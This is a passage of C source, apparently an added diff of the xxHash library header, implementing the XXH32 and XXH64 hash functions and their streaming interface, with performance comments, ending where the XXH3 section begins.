*/ +static xxh_u32 XXH32_round(xxh_u32 acc, xxh_u32 input) +{ + acc += input * XXH_PRIME32_2; + acc = XXH_rotl32(acc, 13); + acc *= XXH_PRIME32_1; +#if (defined(__SSE4_1__) || defined(__aarch64__) || defined(__wasm_simd128__)) && !defined(XXH_ENABLE_AUTOVECTORIZE) + /* + * UGLY HACK: + * A compiler fence is used to prevent GCC and Clang from + * autovectorizing the XXH32 loop (pragmas and attributes don't work for some + * reason) without globally disabling SSE4.1. + * + * The reason we want to avoid vectorization is because despite working on + * 4 integers at a time, there are multiple factors slowing XXH32 down on + * SSE4: + * - There's a ridiculous amount of lag from pmulld (10 cycles of latency on + * newer chips!) making it slightly slower to multiply four integers at + * once compared to four integers independently. Even when pmulld was + * fastest, Sandy/Ivy Bridge, it is still not worth it to go into SSE + * just to multiply unless doing a long operation. + * + * - Four instructions are required to rotate, + * movqda tmp, v // not required with VEX encoding + * pslld tmp, 13 // tmp <<= 13 + * psrld v, 19 // x >>= 19 + * por v, tmp // x |= tmp + * compared to one for scalar: + * roll v, 13 // reliably fast across the board + * shldl v, v, 13 // Sandy Bridge and later prefer this for some reason + * + * - Instruction level parallelism is actually more beneficial here because + * the SIMD actually serializes this operation: While v1 is rotating, v2 + * can load data, while v3 can multiply. SSE forces them to operate + * together. + * + * This is also enabled on AArch64, as Clang is *very aggressive* in vectorizing + * the loop. NEON is only faster on the A53, and with the newer cores, it is less + * than half the speed. + * + * Additionally, this is used on WASM SIMD128 because it JITs to the same + * SIMD instructions and has the same issue. + */ + XXH_COMPILER_GUARD(acc); +#endif + return acc; +} + +/*! + * @internal + * @brief Mixes all bits to finalize the hash. + * + * The final mix ensures that all input bits have a chance to impact any bit in + * the output digest, resulting in an unbiased distribution. + * + * @param hash The hash to avalanche. + * @return The avalanched hash. + */ +static xxh_u32 XXH32_avalanche(xxh_u32 hash) +{ + hash ^= hash >> 15; + hash *= XXH_PRIME32_2; + hash ^= hash >> 13; + hash *= XXH_PRIME32_3; + hash ^= hash >> 16; + return hash; +} + +#define XXH_get32bits(p) XXH_readLE32_align(p, align) + +/*! + * @internal + * @brief Sets up the initial accumulator state for XXH32(). + */ +XXH_FORCE_INLINE void +XXH32_initAccs(xxh_u32 *acc, xxh_u32 seed) +{ + XXH_ASSERT(acc != NULL); + acc[0] = seed + XXH_PRIME32_1 + XXH_PRIME32_2; + acc[1] = seed + XXH_PRIME32_2; + acc[2] = seed + 0; + acc[3] = seed - XXH_PRIME32_1; +} + +/*! + * @internal + * @brief Consumes a block of data for XXH32(). + * + * @return the end input pointer. + */ +XXH_FORCE_INLINE const xxh_u8 * +XXH32_consumeLong( + xxh_u32 *XXH_RESTRICT acc, + xxh_u8 const *XXH_RESTRICT input, + size_t len, + XXH_alignment align +) +{ + const xxh_u8* const bEnd = input + len; + const xxh_u8* const limit = bEnd - 15; + XXH_ASSERT(acc != NULL); + XXH_ASSERT(input != NULL); + XXH_ASSERT(len >= 16); + do { + acc[0] = XXH32_round(acc[0], XXH_get32bits(input)); input += 4; + acc[1] = XXH32_round(acc[1], XXH_get32bits(input)); input += 4; + acc[2] = XXH32_round(acc[2], XXH_get32bits(input)); input += 4; + acc[3] = XXH32_round(acc[3], XXH_get32bits(input)); input += 4; + } while (input < limit); + + return input; +} + +/*! + * @internal + * @brief Merges the accumulator lanes together for XXH32() + */ +XXH_FORCE_INLINE XXH_PUREF xxh_u32 +XXH32_mergeAccs(const xxh_u32 *acc) +{ + XXH_ASSERT(acc != NULL); + return XXH_rotl32(acc[0], 1) + XXH_rotl32(acc[1], 7) + + XXH_rotl32(acc[2], 12) + XXH_rotl32(acc[3], 18); +} + +/*! + * @internal + * @brief Processes the last 0-15 bytes of @p ptr. + * + * There may be up to 15 bytes remaining to consume from the input. + * This final stage will digest them to ensure that all input bytes are present + * in the final mix. + * + * @param hash The hash to finalize. + * @param ptr The pointer to the remaining input. + * @param len The remaining length, modulo 16. + * @param align Whether @p ptr is aligned. + * @return The finalized hash. + * @see XXH64_finalize(). + */ +static XXH_PUREF xxh_u32 +XXH32_finalize(xxh_u32 hash, const xxh_u8* ptr, size_t len, XXH_alignment align) +{ +#define XXH_PROCESS1 do { \ + hash += (*ptr++) * XXH_PRIME32_5; \ + hash = XXH_rotl32(hash, 11) * XXH_PRIME32_1; \ +} while (0) + +#define XXH_PROCESS4 do { \ + hash += XXH_get32bits(ptr) * XXH_PRIME32_3; \ + ptr += 4; \ + hash = XXH_rotl32(hash, 17) * XXH_PRIME32_4; \ +} while (0) + + if (ptr==NULL) XXH_ASSERT(len == 0); + + /* Compact rerolled version; generally faster */ + if (!XXH32_ENDJMP) { + len &= 15; + while (len >= 4) { + XXH_PROCESS4; + len -= 4; + } + while (len > 0) { + XXH_PROCESS1; + --len; + } + return XXH32_avalanche(hash); + } else { + switch(len&15) /* or switch(bEnd - p) */ { + case 12: XXH_PROCESS4; + XXH_FALLTHROUGH; /* fallthrough */ + case 8: XXH_PROCESS4; + XXH_FALLTHROUGH; /* fallthrough */ + case 4: XXH_PROCESS4; + return XXH32_avalanche(hash); + + case 13: XXH_PROCESS4; + XXH_FALLTHROUGH; /* fallthrough */ + case 9: XXH_PROCESS4; + XXH_FALLTHROUGH; /* fallthrough */ + case 5: XXH_PROCESS4; + XXH_PROCESS1; + return XXH32_avalanche(hash); + + case 14: XXH_PROCESS4; + XXH_FALLTHROUGH; /* fallthrough */ + case 10: XXH_PROCESS4; + XXH_FALLTHROUGH; /* fallthrough */ + case 6: XXH_PROCESS4; + XXH_PROCESS1; + XXH_PROCESS1; + return XXH32_avalanche(hash); + + case 15: XXH_PROCESS4; + XXH_FALLTHROUGH; /* fallthrough */ + case 11: XXH_PROCESS4; + XXH_FALLTHROUGH; /* fallthrough */ + case 7: XXH_PROCESS4; + XXH_FALLTHROUGH; /* fallthrough */ + case 3: XXH_PROCESS1; + XXH_FALLTHROUGH; /* fallthrough */ + case 2: XXH_PROCESS1; + XXH_FALLTHROUGH; /* fallthrough */ + case 1: XXH_PROCESS1; + XXH_FALLTHROUGH; /* fallthrough */ + case 0: return XXH32_avalanche(hash); + } + XXH_ASSERT(0); + return hash; /* reaching this point is deemed impossible */ + } +} + +#ifdef XXH_OLD_NAMES +# define PROCESS1 XXH_PROCESS1 +# define PROCESS4 XXH_PROCESS4 +#else +# undef XXH_PROCESS1 +# undef XXH_PROCESS4 +#endif + +/*! + * @internal + * @brief The implementation for @ref XXH32(). + * + * @param input , len , seed Directly passed from @ref XXH32(). + * @param align Whether @p input is aligned. + * @return The calculated hash. + */ +XXH_FORCE_INLINE XXH_PUREF xxh_u32 +XXH32_endian_align(const xxh_u8* input, size_t len, xxh_u32 seed, XXH_alignment align) +{ + xxh_u32 h32; + + if (input==NULL) XXH_ASSERT(len == 0); + + if (len>=16) { + xxh_u32 acc[4]; + XXH32_initAccs(acc, seed); + + input = XXH32_consumeLong(acc, input, len, align); + + h32 = XXH32_mergeAccs(acc); + } else { + h32 = seed + XXH_PRIME32_5; + } + + h32 += (xxh_u32)len; + + return XXH32_finalize(h32, input, len&15, align); +} + +/*! @ingroup XXH32_family */ +XXH_PUBLIC_API XXH32_hash_t XXH32 (const void* input, size_t len, XXH32_hash_t seed) +{ +#if !defined(XXH_NO_STREAM) && XXH_SIZE_OPT >= 2 + /* Simple version, good for code maintenance, but unfortunately slow for small inputs */ + XXH32_state_t state; + XXH32_reset(&state, seed); + XXH32_update(&state, (const xxh_u8*)input, len); + return XXH32_digest(&state); +#else + if (XXH_FORCE_ALIGN_CHECK) { + if ((((size_t)input) & 3) == 0) { /* Input is 4-bytes aligned, leverage the speed benefit */ + return XXH32_endian_align((const xxh_u8*)input, len, seed, XXH_aligned); + } } + + return XXH32_endian_align((const xxh_u8*)input, len, seed, XXH_unaligned); +#endif +} + + + +/******* Hash streaming *******/ +#ifndef XXH_NO_STREAM +/*! @ingroup XXH32_family */ +XXH_PUBLIC_API XXH32_state_t* XXH32_createState(void) +{ + return (XXH32_state_t*)XXH_malloc(sizeof(XXH32_state_t)); +} +/*! @ingroup XXH32_family */ +XXH_PUBLIC_API XXH_errorcode XXH32_freeState(XXH32_state_t* statePtr) +{ + XXH_free(statePtr); + return XXH_OK; +} + +/*! @ingroup XXH32_family */ +XXH_PUBLIC_API void XXH32_copyState(XXH32_state_t* dstState, const XXH32_state_t* srcState) +{ + XXH_memcpy(dstState, srcState, sizeof(*dstState)); +} + +/*! @ingroup XXH32_family */ +XXH_PUBLIC_API XXH_errorcode XXH32_reset(XXH32_state_t* statePtr, XXH32_hash_t seed) +{ + XXH_ASSERT(statePtr != NULL); + XXH_memset(statePtr, 0, sizeof(*statePtr)); + XXH32_initAccs(statePtr->acc, seed); + return XXH_OK; +} + + +/*! @ingroup XXH32_family */ +XXH_PUBLIC_API XXH_errorcode +XXH32_update(XXH32_state_t* state, const void* input, size_t len) +{ + if (input==NULL) { + XXH_ASSERT(len == 0); + return XXH_OK; + } + + state->total_len_32 += (XXH32_hash_t)len; + state->large_len |= (XXH32_hash_t)((len>=16) | (state->total_len_32>=16)); + + XXH_ASSERT(state->bufferedSize < sizeof(state->buffer)); + if (len < sizeof(state->buffer) - state->bufferedSize) { /* fill in tmp buffer */ + XXH_memcpy(state->buffer + state->bufferedSize, input, len); + state->bufferedSize += (XXH32_hash_t)len; + return XXH_OK; + } + + { const xxh_u8* xinput = (const xxh_u8*)input; + const xxh_u8* const bEnd = xinput + len; + + if (state->bufferedSize) { /* non-empty buffer: complete first */ + XXH_memcpy(state->buffer + state->bufferedSize, xinput, sizeof(state->buffer) - state->bufferedSize); + xinput += sizeof(state->buffer) - state->bufferedSize; + /* then process one round */ + (void)XXH32_consumeLong(state->acc, state->buffer, sizeof(state->buffer), XXH_aligned); + state->bufferedSize = 0; + } + + XXH_ASSERT(xinput <= bEnd); + if ((size_t)(bEnd - xinput) >= sizeof(state->buffer)) { + /* Process the remaining data */ + xinput = XXH32_consumeLong(state->acc, xinput, (size_t)(bEnd - xinput), XXH_unaligned); + } + + if (xinput < bEnd) { + /* Copy the leftover to the tmp buffer */ + XXH_memcpy(state->buffer, xinput, (size_t)(bEnd-xinput)); + state->bufferedSize = (unsigned)(bEnd-xinput); + } + } + + return XXH_OK; +} + + +/*! @ingroup XXH32_family */ +XXH_PUBLIC_API XXH32_hash_t XXH32_digest(const XXH32_state_t* state) +{ + xxh_u32 h32; + + if (state->large_len) { + h32 = XXH32_mergeAccs(state->acc); + } else { + h32 = state->acc[2] /* == seed */ + XXH_PRIME32_5; + } + + h32 += state->total_len_32; + + return XXH32_finalize(h32, state->buffer, state->bufferedSize, XXH_aligned); +} +#endif /* !XXH_NO_STREAM */ + +/******* Canonical representation *******/ + +/*! @ingroup XXH32_family */ +XXH_PUBLIC_API void XXH32_canonicalFromHash(XXH32_canonical_t* dst, XXH32_hash_t hash) +{ + XXH_STATIC_ASSERT(sizeof(XXH32_canonical_t) == sizeof(XXH32_hash_t)); + if (XXH_CPU_LITTLE_ENDIAN) hash = XXH_swap32(hash); + XXH_memcpy(dst, &hash, sizeof(*dst)); +} +/*! @ingroup XXH32_family */ +XXH_PUBLIC_API XXH32_hash_t XXH32_hashFromCanonical(const XXH32_canonical_t* src) +{ + return XXH_readBE32(src); +} + + +#ifndef XXH_NO_LONG_LONG + +/* ******************************************************************* +* 64-bit hash functions +*********************************************************************/ +/*! + * @} + * @ingroup impl + * @{ + */ +/******* Memory access *******/ + +typedef XXH64_hash_t xxh_u64; + +#ifdef XXH_OLD_NAMES +# define U64 xxh_u64 +#endif + +#if (defined(XXH_FORCE_MEMORY_ACCESS) && (XXH_FORCE_MEMORY_ACCESS==3)) +/* + * Manual byteshift. Best for old compilers which don't inline memcpy. + * We actually directly use XXH_readLE64 and XXH_readBE64. + */ +#elif (defined(XXH_FORCE_MEMORY_ACCESS) && (XXH_FORCE_MEMORY_ACCESS==2)) + +/* Force direct memory access. Only works on CPU which support unaligned memory access in hardware */ +static xxh_u64 XXH_read64(const void* memPtr) +{ + return *(const xxh_u64*) memPtr; +} + +#elif (defined(XXH_FORCE_MEMORY_ACCESS) && (XXH_FORCE_MEMORY_ACCESS==1)) + +/* + * __attribute__((aligned(1))) is supported by gcc and clang. Originally the + * documentation claimed that it only increased the alignment, but actually it + * can decrease it on gcc, clang, and icc: + * https://gcc.gnu.org/bugzilla/show_bug.cgi?id=69502, + * https://gcc.godbolt.org/z/xYez1j67Y. + */ +#ifdef XXH_OLD_NAMES +typedef union { xxh_u32 u32; xxh_u64 u64; } __attribute__((__packed__)) unalign64; +#endif +static xxh_u64 XXH_read64(const void* ptr) +{ + typedef __attribute__((__aligned__(1))) xxh_u64 xxh_unalign64; + return *((const xxh_unalign64*)ptr); +} + +#else + +/* + * Portable and safe solution. Generally efficient. + * see: https://fastcompression.blogspot.com/2015/08/accessing-unaligned-memory.html + */ +static xxh_u64 XXH_read64(const void* memPtr) +{ + xxh_u64 val; + XXH_memcpy(&val, memPtr, sizeof(val)); + return val; +} + +#endif /* XXH_FORCE_DIRECT_MEMORY_ACCESS */ + +#if defined(_MSC_VER) /* Visual Studio */ +# define XXH_swap64 _byteswap_uint64 +#elif XXH_GCC_VERSION >= 403 +# define XXH_swap64 __builtin_bswap64 +#else +static xxh_u64 XXH_swap64(xxh_u64 x) +{ + return ((x << 56) & 0xff00000000000000ULL) | + ((x << 40) & 0x00ff000000000000ULL) | + ((x << 24) & 0x0000ff0000000000ULL) | + ((x << 8) & 0x000000ff00000000ULL) | + ((x >> 8) & 0x00000000ff000000ULL) | + ((x >> 24) & 0x0000000000ff0000ULL) | + ((x >> 40) & 0x000000000000ff00ULL) | + ((x >> 56) & 0x00000000000000ffULL); +} +#endif + + +/* XXH_FORCE_MEMORY_ACCESS==3 is an endian-independent byteshift load. */ +#if (defined(XXH_FORCE_MEMORY_ACCESS) && (XXH_FORCE_MEMORY_ACCESS==3)) + +XXH_FORCE_INLINE xxh_u64 XXH_readLE64(const void* memPtr) +{ + const xxh_u8* bytePtr = (const xxh_u8 *)memPtr; + return bytePtr[0] + | ((xxh_u64)bytePtr[1] << 8) + | ((xxh_u64)bytePtr[2] << 16) + | ((xxh_u64)bytePtr[3] << 24) + | ((xxh_u64)bytePtr[4] << 32) + | ((xxh_u64)bytePtr[5] << 40) + | ((xxh_u64)bytePtr[6] << 48) + | ((xxh_u64)bytePtr[7] << 56); +} + +XXH_FORCE_INLINE xxh_u64 XXH_readBE64(const void* memPtr) +{ + const xxh_u8* bytePtr = (const xxh_u8 *)memPtr; + return bytePtr[7] + | ((xxh_u64)bytePtr[6] << 8) + | ((xxh_u64)bytePtr[5] << 16) + | ((xxh_u64)bytePtr[4] << 24) + | ((xxh_u64)bytePtr[3] << 32) + | ((xxh_u64)bytePtr[2] << 40) + | ((xxh_u64)bytePtr[1] << 48) + | ((xxh_u64)bytePtr[0] << 56); +} + +#else +XXH_FORCE_INLINE xxh_u64 XXH_readLE64(const void* ptr) +{ + return XXH_CPU_LITTLE_ENDIAN ? XXH_read64(ptr) : XXH_swap64(XXH_read64(ptr)); +} + +static xxh_u64 XXH_readBE64(const void* ptr) +{ + return XXH_CPU_LITTLE_ENDIAN ? XXH_swap64(XXH_read64(ptr)) : XXH_read64(ptr); +} +#endif + +XXH_FORCE_INLINE xxh_u64 +XXH_readLE64_align(const void* ptr, XXH_alignment align) +{ + if (align==XXH_unaligned) + return XXH_readLE64(ptr); + else + return XXH_CPU_LITTLE_ENDIAN ? *(const xxh_u64*)ptr : XXH_swap64(*(const xxh_u64*)ptr); +} + + +/******* xxh64 *******/ +/*! + * @} + * @defgroup XXH64_impl XXH64 implementation + * @ingroup impl + * + * Details on the XXH64 implementation. + * @{ + */ +/* #define rather that static const, to be used as initializers */ +#define XXH_PRIME64_1 0x9E3779B185EBCA87ULL /*!< 0b1001111000110111011110011011000110000101111010111100101010000111 */ +#define XXH_PRIME64_2 0xC2B2AE3D27D4EB4FULL /*!< 0b1100001010110010101011100011110100100111110101001110101101001111 */ +#define XXH_PRIME64_3 0x165667B19E3779F9ULL /*!< 0b0001011001010110011001111011000110011110001101110111100111111001 */ +#define XXH_PRIME64_4 0x85EBCA77C2B2AE63ULL /*!< 0b1000010111101011110010100111011111000010101100101010111001100011 */ +#define XXH_PRIME64_5 0x27D4EB2F165667C5ULL /*!< 0b0010011111010100111010110010111100010110010101100110011111000101 */ + +#ifdef XXH_OLD_NAMES +# define PRIME64_1 XXH_PRIME64_1 +# define PRIME64_2 XXH_PRIME64_2 +# define PRIME64_3 XXH_PRIME64_3 +# define PRIME64_4 XXH_PRIME64_4 +# define PRIME64_5 XXH_PRIME64_5 +#endif + +/*! @copydoc XXH32_round */ +static xxh_u64 XXH64_round(xxh_u64 acc, xxh_u64 input) +{ + acc += input * XXH_PRIME64_2; + acc = XXH_rotl64(acc, 31); + acc *= XXH_PRIME64_1; +#if (defined(__AVX512F__)) && !defined(XXH_ENABLE_AUTOVECTORIZE) + /* + * DISABLE AUTOVECTORIZATION: + * A compiler fence is used to prevent GCC and Clang from + * autovectorizing the XXH64 loop (pragmas and attributes don't work for some + * reason) without globally disabling AVX512. + * + * Autovectorization of XXH64 tends to be detrimental, + * though the exact outcome may change depending on exact cpu and compiler version. + * For information, it has been reported as detrimental for Skylake-X, + * but possibly beneficial for Zen4. + * + * The default is to disable auto-vectorization, + * but you can select to enable it instead using `XXH_ENABLE_AUTOVECTORIZE` build variable. + */ + XXH_COMPILER_GUARD(acc); +#endif + return acc; +} + +static xxh_u64 XXH64_mergeRound(xxh_u64 acc, xxh_u64 val) +{ + val = XXH64_round(0, val); + acc ^= val; + acc = acc * XXH_PRIME64_1 + XXH_PRIME64_4; + return acc; +} + +/*! @copydoc XXH32_avalanche */ +static xxh_u64 XXH64_avalanche(xxh_u64 hash) +{ + hash ^= hash >> 33; + hash *= XXH_PRIME64_2; + hash ^= hash >> 29; + hash *= XXH_PRIME64_3; + hash ^= hash >> 32; + return hash; +} + + +#define XXH_get64bits(p) XXH_readLE64_align(p, align) + +/*! + * @internal + * @brief Sets up the initial accumulator state for XXH64(). + */ +XXH_FORCE_INLINE void +XXH64_initAccs(xxh_u64 *acc, xxh_u64 seed) +{ + XXH_ASSERT(acc != NULL); + acc[0] = seed + XXH_PRIME64_1 + XXH_PRIME64_2; + acc[1] = seed + XXH_PRIME64_2; + acc[2] = seed + 0; + acc[3] = seed - XXH_PRIME64_1; +} + +/*! + * @internal + * @brief Consumes a block of data for XXH64(). + * + * @return the end input pointer. + */ +XXH_FORCE_INLINE const xxh_u8 * +XXH64_consumeLong( + xxh_u64 *XXH_RESTRICT acc, + xxh_u8 const *XXH_RESTRICT input, + size_t len, + XXH_alignment align +) +{ + const xxh_u8* const bEnd = input + len; + const xxh_u8* const limit = bEnd - 31; + XXH_ASSERT(acc != NULL); + XXH_ASSERT(input != NULL); + XXH_ASSERT(len >= 32); + do { + /* reroll on 32-bit */ + if (sizeof(void *) < sizeof(xxh_u64)) { + size_t i; + for (i = 0; i < 4; i++) { + acc[i] = XXH64_round(acc[i], XXH_get64bits(input)); + input += 8; + } + } else { + acc[0] = XXH64_round(acc[0], XXH_get64bits(input)); input += 8; + acc[1] = XXH64_round(acc[1], XXH_get64bits(input)); input += 8; + acc[2] = XXH64_round(acc[2], XXH_get64bits(input)); input += 8; + acc[3] = XXH64_round(acc[3], XXH_get64bits(input)); input += 8; + } + } while (input < limit); + + return input; +} + +/*! + * @internal + * @brief Merges the accumulator lanes together for XXH64() + */ +XXH_FORCE_INLINE XXH_PUREF xxh_u64 +XXH64_mergeAccs(const xxh_u64 *acc) +{ + XXH_ASSERT(acc != NULL); + { + xxh_u64 h64 = XXH_rotl64(acc[0], 1) + XXH_rotl64(acc[1], 7) + + XXH_rotl64(acc[2], 12) + XXH_rotl64(acc[3], 18); + /* reroll on 32-bit */ + if (sizeof(void *) < sizeof(xxh_u64)) { + size_t i; + for (i = 0; i < 4; i++) { + h64 = XXH64_mergeRound(h64, acc[i]); + } + } else { + h64 = XXH64_mergeRound(h64, acc[0]); + h64 = XXH64_mergeRound(h64, acc[1]); + h64 = XXH64_mergeRound(h64, acc[2]); + h64 = XXH64_mergeRound(h64, acc[3]); + } + return h64; + } +} + +/*! + * @internal + * @brief Processes the last 0-31 bytes of @p ptr. + * + * There may be up to 31 bytes remaining to consume from the input. + * This final stage will digest them to ensure that all input bytes are present + * in the final mix. + * + * @param hash The hash to finalize. + * @param ptr The pointer to the remaining input. + * @param len The remaining length, modulo 32. + * @param align Whether @p ptr is aligned. + * @return The finalized hash + * @see XXH32_finalize(). + */ +XXH_STATIC XXH_PUREF xxh_u64 +XXH64_finalize(xxh_u64 hash, const xxh_u8* ptr, size_t len, XXH_alignment align) +{ + if (ptr==NULL) XXH_ASSERT(len == 0); + len &= 31; + while (len >= 8) { + xxh_u64 const k1 = XXH64_round(0, XXH_get64bits(ptr)); + ptr += 8; + hash ^= k1; + hash = XXH_rotl64(hash,27) * XXH_PRIME64_1 + XXH_PRIME64_4; + len -= 8; + } + if (len >= 4) { + hash ^= (xxh_u64)(XXH_get32bits(ptr)) * XXH_PRIME64_1; + ptr += 4; + hash = XXH_rotl64(hash, 23) * XXH_PRIME64_2 + XXH_PRIME64_3; + len -= 4; + } + while (len > 0) { + hash ^= (*ptr++) * XXH_PRIME64_5; + hash = XXH_rotl64(hash, 11) * XXH_PRIME64_1; + --len; + } + return XXH64_avalanche(hash); +} + +#ifdef XXH_OLD_NAMES +# define PROCESS1_64 XXH_PROCESS1_64 +# define PROCESS4_64 XXH_PROCESS4_64 +# define PROCESS8_64 XXH_PROCESS8_64 +#else +# undef XXH_PROCESS1_64 +# undef XXH_PROCESS4_64 +# undef XXH_PROCESS8_64 +#endif + +/*! + * @internal + * @brief The implementation for @ref XXH64(). + * + * @param input , len , seed Directly passed from @ref XXH64(). + * @param align Whether @p input is aligned. + * @return The calculated hash. + */ +XXH_FORCE_INLINE XXH_PUREF xxh_u64 +XXH64_endian_align(const xxh_u8* input, size_t len, xxh_u64 seed, XXH_alignment align) +{ + xxh_u64 h64; + if (input==NULL) XXH_ASSERT(len == 0); + + if (len>=32) { /* Process a large block of data */ + xxh_u64 acc[4]; + XXH64_initAccs(acc, seed); + + input = XXH64_consumeLong(acc, input, len, align); + + h64 = XXH64_mergeAccs(acc); + } else { + h64 = seed + XXH_PRIME64_5; + } + + h64 += (xxh_u64) len; + + return XXH64_finalize(h64, input, len, align); +} + + +/*! @ingroup XXH64_family */ +XXH_PUBLIC_API XXH64_hash_t XXH64 (XXH_NOESCAPE const void* input, size_t len, XXH64_hash_t seed) +{ +#if !defined(XXH_NO_STREAM) && XXH_SIZE_OPT >= 2 + /* Simple version, good for code maintenance, but unfortunately slow for small inputs */ + XXH64_state_t state; + XXH64_reset(&state, seed); + XXH64_update(&state, (const xxh_u8*)input, len); + return XXH64_digest(&state); +#else + if (XXH_FORCE_ALIGN_CHECK) { + if ((((size_t)input) & 7)==0) { /* Input is aligned, let's leverage the speed advantage */ + return XXH64_endian_align((const xxh_u8*)input, len, seed, XXH_aligned); + } } + + return XXH64_endian_align((const xxh_u8*)input, len, seed, XXH_unaligned); + +#endif +} + +/******* Hash Streaming *******/ +#ifndef XXH_NO_STREAM +/*! @ingroup XXH64_family*/ +XXH_PUBLIC_API XXH64_state_t* XXH64_createState(void) +{ + return (XXH64_state_t*)XXH_malloc(sizeof(XXH64_state_t)); +} +/*! @ingroup XXH64_family */ +XXH_PUBLIC_API XXH_errorcode XXH64_freeState(XXH64_state_t* statePtr) +{ + XXH_free(statePtr); + return XXH_OK; +} + +/*! @ingroup XXH64_family */ +XXH_PUBLIC_API void XXH64_copyState(XXH_NOESCAPE XXH64_state_t* dstState, const XXH64_state_t* srcState) +{ + XXH_memcpy(dstState, srcState, sizeof(*dstState)); +} + +/*! @ingroup XXH64_family */ +XXH_PUBLIC_API XXH_errorcode XXH64_reset(XXH_NOESCAPE XXH64_state_t* statePtr, XXH64_hash_t seed) +{ + XXH_ASSERT(statePtr != NULL); + XXH_memset(statePtr, 0, sizeof(*statePtr)); + XXH64_initAccs(statePtr->acc, seed); + return XXH_OK; +} + +/*! @ingroup XXH64_family */ +XXH_PUBLIC_API XXH_errorcode +XXH64_update (XXH_NOESCAPE XXH64_state_t* state, XXH_NOESCAPE const void* input, size_t len) +{ + if (input==NULL) { + XXH_ASSERT(len == 0); + return XXH_OK; + } + + state->total_len += len; + + XXH_ASSERT(state->bufferedSize <= sizeof(state->buffer)); + if (len < sizeof(state->buffer) - state->bufferedSize) { /* fill in tmp buffer */ + XXH_memcpy(state->buffer + state->bufferedSize, input, len); + state->bufferedSize += (XXH32_hash_t)len; + return XXH_OK; + } + + { const xxh_u8* xinput = (const xxh_u8*)input; + const xxh_u8* const bEnd = xinput + len; + + if (state->bufferedSize) { /* non-empty buffer => complete first */ + XXH_memcpy(state->buffer + state->bufferedSize, xinput, sizeof(state->buffer) - state->bufferedSize); + xinput += sizeof(state->buffer) - state->bufferedSize; + /* and process one round */ + (void)XXH64_consumeLong(state->acc, state->buffer, sizeof(state->buffer), XXH_aligned); + state->bufferedSize = 0; + } + + XXH_ASSERT(xinput <= bEnd); + if ((size_t)(bEnd - xinput) >= sizeof(state->buffer)) { + /* Process the remaining data */ + xinput = XXH64_consumeLong(state->acc, xinput, (size_t)(bEnd - xinput), XXH_unaligned); + } + + if (xinput < bEnd) { + /* Copy the leftover to the tmp buffer */ + XXH_memcpy(state->buffer, xinput, (size_t)(bEnd-xinput)); + state->bufferedSize = (unsigned)(bEnd-xinput); + } + } + + return XXH_OK; +} + + +/*! @ingroup XXH64_family */ +XXH_PUBLIC_API XXH64_hash_t XXH64_digest(XXH_NOESCAPE const XXH64_state_t* state) +{ + xxh_u64 h64; + + if (state->total_len >= 32) { + h64 = XXH64_mergeAccs(state->acc); + } else { + h64 = state->acc[2] /*seed*/ + XXH_PRIME64_5; + } + + h64 += (xxh_u64) state->total_len; + + return XXH64_finalize(h64, state->buffer, (size_t)state->total_len, XXH_aligned); +} +#endif /* !XXH_NO_STREAM */ + +/******* Canonical representation *******/ + +/*! @ingroup XXH64_family */ +XXH_PUBLIC_API void XXH64_canonicalFromHash(XXH_NOESCAPE XXH64_canonical_t* dst, XXH64_hash_t hash) +{ + XXH_STATIC_ASSERT(sizeof(XXH64_canonical_t) == sizeof(XXH64_hash_t)); + if (XXH_CPU_LITTLE_ENDIAN) hash = XXH_swap64(hash); + XXH_memcpy(dst, &hash, sizeof(*dst)); +} + +/*! @ingroup XXH64_family */ +XXH_PUBLIC_API XXH64_hash_t XXH64_hashFromCanonical(XXH_NOESCAPE const XXH64_canonical_t* src) +{ + return XXH_readBE64(src); +} + +#ifndef XXH_NO_XXH3 + +/* ********************************************************************* +* XXH3 +* New generation hash designed for speed on small keys and vectorization +************************************************************************ */ +/*! + * @} + * @defgroup XXH3_impl XXH3 implementation + * @ingroup impl + * @{ + */ + +/* === Compiler specifics === */ + + +#if (defined(__GNUC__) && (__GNUC__ >= 3)) \ + || (defined(__INTEL_COMPILER) && (__INTEL_COMPILER >= 800)) \ + || defined(__clang__) +# define XXH_likely(x) __builtin_expect(x, 1) +# define XXH_unlikely(x) __builtin_expect(x, 0) +#else +# define XXH_likely(x) (x) +# define XXH_unlikely(x) (x) +#endif + +#ifndef XXH_HAS_INCLUDE +# ifdef __has_include +/* + * Not defined as XXH_HAS_INCLUDE(x) (function-like) because + * this causes segfaults in Apple Clang 4.2 (on Mac OS X 10.7 Lion) + */ +# define XXH_HAS_INCLUDE __has_include +# else +# define XXH_HAS_INCLUDE(x) 0 +# endif +#endif + +#if defined(__GNUC__) || defined(__clang__) +# if defined(__ARM_FEATURE_SVE) +# include +# endif +# if defined(__ARM_NEON__) || defined(__ARM_NEON) \ + || (defined(_M_ARM) && _M_ARM >= 7) \ + || defined(_M_ARM64) || defined(_M_ARM64EC) \ + || (defined(__wasm_simd128__) && XXH_HAS_INCLUDE()) /* WASM SIMD128 via SIMDe */ +# define inline __inline__ /* circumvent a clang bug */ +# include +# undef inline +# elif defined(__AVX2__) +# include +# elif defined(__SSE2__) +# include +# elif defined(__loongarch_asx) +# include +# include +# elif defined(__loongarch_sx) +# include +# endif +#endif + +#if defined(_MSC_VER) +# include +#endif + +/* + * One goal of XXH3 is to make it fast on both 32-bit and 64-bit, while + * remaining a true 64-bit/128-bit hash function. + * + * This is done by prioritizing a subset of 64-bit operations that can be + * emulated without too many steps on the average 32-bit machine. + * + * For example, these two lines seem similar, and run equally fast on 64-bit: + * + * xxh_u64 x; + * x ^= (x >> 47); // good + * x ^= (x >> 13); // bad + * + * However, to a 32-bit machine, there is a major difference. + * + * x ^= (x >> 47) looks like this: + * + * x.lo ^= (x.hi >> (47 - 32)); + * + * while x ^= (x >> 13) looks like this: + * + * // note: funnel shifts are not usually cheap. + * x.lo ^= (x.lo >> 13) | (x.hi << (32 - 13)); + * x.hi ^= (x.hi >> 13); + * + * The first one is significantly faster than the second, simply because the + * shift is larger than 32. This means: + * - All the bits we need are in the upper 32 bits, so we can ignore the lower + * 32 bits in the shift. + * - The shift result will always fit in the lower 32 bits, and therefore, + * we can ignore the upper 32 bits in the xor. + * + * Thanks to this optimization, XXH3 only requires these features to be efficient: + * + * - Usable unaligned access + * - A 32-bit or 64-bit ALU + * - If 32-bit, a decent ADC instruction + * - A 32 or 64-bit multiply with a 64-bit result + * - For the 128-bit variant, a decent byteswap helps short inputs. + * + * The first two are already required by XXH32, and almost all 32-bit and 64-bit + * platforms which can run XXH32 can run XXH3 efficiently. + * + * Thumb-1, the classic 16-bit only subset of ARM's instruction set, is one + * notable exception. + * + * First of all, Thumb-1 lacks support for the UMULL instruction which + * performs the important long multiply. This means numerous 